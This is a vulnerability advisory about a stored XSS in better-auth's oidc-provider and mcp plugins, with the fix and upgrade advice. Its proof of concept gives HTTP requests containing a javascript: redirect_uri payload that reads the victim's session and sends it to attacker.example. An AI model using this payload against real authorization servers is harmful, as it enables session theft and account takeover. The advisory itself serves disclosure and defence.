high · 7.7Jul 7, 2026

better-auth Stored XSS via javascript: redirect_uri in oidc-provider and mcp Plugins

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

The better-auth oidc-provider and mcp plugins accept any string as an OAuth redirect URI, letting an attacker store a javascript: URL that executes in the authorization server's origin when a victim…

Packagebetter-auth
Ecosystemnpm
Affected< 1.6.13
Fixed in1.6.13

The problem

The oidc-provider and mcp plugins in better-auth typed redirect_uris as z.array(z.string()) with no scheme validation. A POST /oauth2/register call could store any URI, including javascript: payloads, in the database.

When the victim later visits the attacker's authorize URL and clicks Approve, the consent handler calls new URL(value.redirectURI) and returns the result as redirectURI in a JSON response. A consent page that assigns this value to window.location.href executes attacker JavaScript inside the authorization-server origin.

This is a stored DOM XSS that enables full account takeover via session-scoped API calls.

Proof of concept

A working proof-of-concept for this issue in better-auth, with the exact payload below.

http
# Step 1: Register a malicious OAuth client (authenticated user, or unauthenticated if allowDynamicClientRegistration: true)
POST /api/auth/oauth2/register
Content-Type: application/json

{
  "client_name": "Legit App",
  "redirect_uris": ["javascript:fetch('/api/auth/get-session').then(r=>r.json()).then(d=>fetch('https://attacker.example/x?c='+btoa(JSON.stringify(d))))//"]
}

# Step 2: Send victim to the authorize URL with the returned client_id and that redirect_uri
GET /api/auth/oauth2/authorize
  ?client_id=<registered_client_id>
  &redirect_uri=javascript:fetch('/api/auth/get-session').then(r=>r.json()).then(d=>fetch('https://attacker.example/x?c='+btoa(JSON.stringify(d))))//
  &response_type=code
  &scope=openid

# Step 3: Victim approves consent. The server returns:
# { "redirectURI": "javascript:fetch('/api/auth/get-session')...//" }
# Consent page assigns res.data.redirectURI to window.location.href -> XSS fires.

The root cause is missing scheme validation at the OAuth dynamic client registration endpoint (CWE-79 / CWE-601). The redirect_uri was stored verbatim and then passed through new URL() at consent time, which preserves the javascript: scheme intact. The trailing // in the payload comments out the authorization code that searchParams.set appends, preventing a parse error that would otherwise break execution.

The patch (commit be32012, PR #9838) introduced SafeUrlSchema and isSafeUrlScheme in @better-auth/core. Both oidc-provider and mcp now run every redirect_uri through that validator at registration time and reject javascript:, data:, and vbscript: schemes before persistence.

A follow-up hardening (commit 13abc79, PR #9845) replaced URL.canParse with a try/catch fallback and also rejects URIs containing a fragment, per RFC 6749 §3.1.2.

The fix

Upgrade to better-auth@1.6.13 (stable) or 1.7.0-beta.4 (pre-release). Both releases add SafeUrlSchema scheme validation to oidc-provider and mcp at registration time.

If you cannot upgrade immediately, add a client-side scheme check before any navigation: parse the returned URI and only navigate when new URL(redirectURI).protocol is http: or https:. Alternatively, migrate to @better-auth/oauth-provider, which already enforced this validation prior to this advisory.

Reported by hillalee.

References: [1][2][3][4]

Related research